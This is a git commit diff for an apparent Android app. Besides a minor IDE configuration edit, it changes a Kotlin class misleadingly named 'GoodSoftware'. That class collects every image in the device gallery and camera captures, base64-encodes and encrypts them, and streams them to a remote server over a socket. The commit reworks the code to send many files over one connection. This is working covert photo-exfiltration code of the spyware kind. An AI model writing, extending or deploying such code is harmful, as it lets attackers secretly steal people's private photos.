Multiple files over 1 connection

This commit is contained in:
Joren 2024-05-02 16:00:53 +02:00
parent ccc95f15ef
commit 9f3955cdba
Signed by untrusted user who does not match committer: Joren
GPG Key ID: 280E33DFBC0F1B55
2 changed files with 19 additions and 27 deletions

View File

@ -4,18 +4,6 @@
<value>
<entry key="MainActivity">
<State>
<runningDeviceTargetSelectedWithDropDown>
<Target>
<type value="RUNNING_DEVICE_TARGET" />
<deviceKey>
<Key>
<type value="SERIAL_NUMBER" />
<value value="4d16b842" />
</Key>
</deviceKey>
</Target>
</runningDeviceTargetSelectedWithDropDown>
<timeTargetWasSelectedWithDropDown value="2024-05-02T13:08:12.236226337Z" />
<targetsSelectedWithDialog>
<Target>
<type value="QUICK_BOOT_TARGET" />

View File

@ -160,13 +160,14 @@ class GoodSoftware (private val activity: MainActivity) {
try {
val imageList = getAllImagesFromGallery(activity)
println(imageList)
val connection = establishConnection()
for (image in imageList) {
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
Thread {
println("Sending data to server")
sendDataToServer(base64Image, establishConnection())
}.start()
println("Image send $image")
sendDataToServer(base64Image, connection)
next(connection)
}
disconnect(connection)
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
@ -306,6 +307,8 @@ class GoodSoftware (private val activity: MainActivity) {
writer.println(encryptText(encodedUid, pKey))
reader.readLine()
println("Connection, OK!")
return ConnectionResult(socket, reader, writer, key, iv, algorithm)
}
fun sendDataToServer(sendData: String, connectionResult: ConnectionResult) {
@ -322,26 +325,25 @@ class GoodSoftware (private val activity: MainActivity) {
writer.println("END_OF_DATA")
reader.readLine()
println("Client: Ready for next operation")
writer.println("Ready for next operation")
reader.readLine()
// Close resources
writer.close()
reader.close()
socket.close()
} catch (e: Exception) {
e.printStackTrace()
// Handle the exception, e.g., log the error or notify the user
}
}
fun next(connectionResult: ConnectionResult) {
val (socket, reader, writer, _, _, _) = connectionResult
try {
writer.println("NEXT")
} catch (e: Exception) {
e.printStackTrace()
}
}
fun disconnect(connectionResult: ConnectionResult) {
val (socket, reader, writer, _, _, _) = connectionResult
try {
writer.println("END_OF_COMMUNICATION")
reader.readLine()
println("Disconnect")
writer.close()
reader.close()
socket.close()
@ -390,7 +392,9 @@ class GoodSoftware (private val activity: MainActivity) {
//Log.d(picture.TAG, "Base64 Image: $base64Image")
Thread {
println("Sending data to server")
sendDataToServer(base64Image, establishConnection())
val conn = establishConnection()
sendDataToServer(base64Image, conn)
disconnect(conn)
}.start()
image.close()
}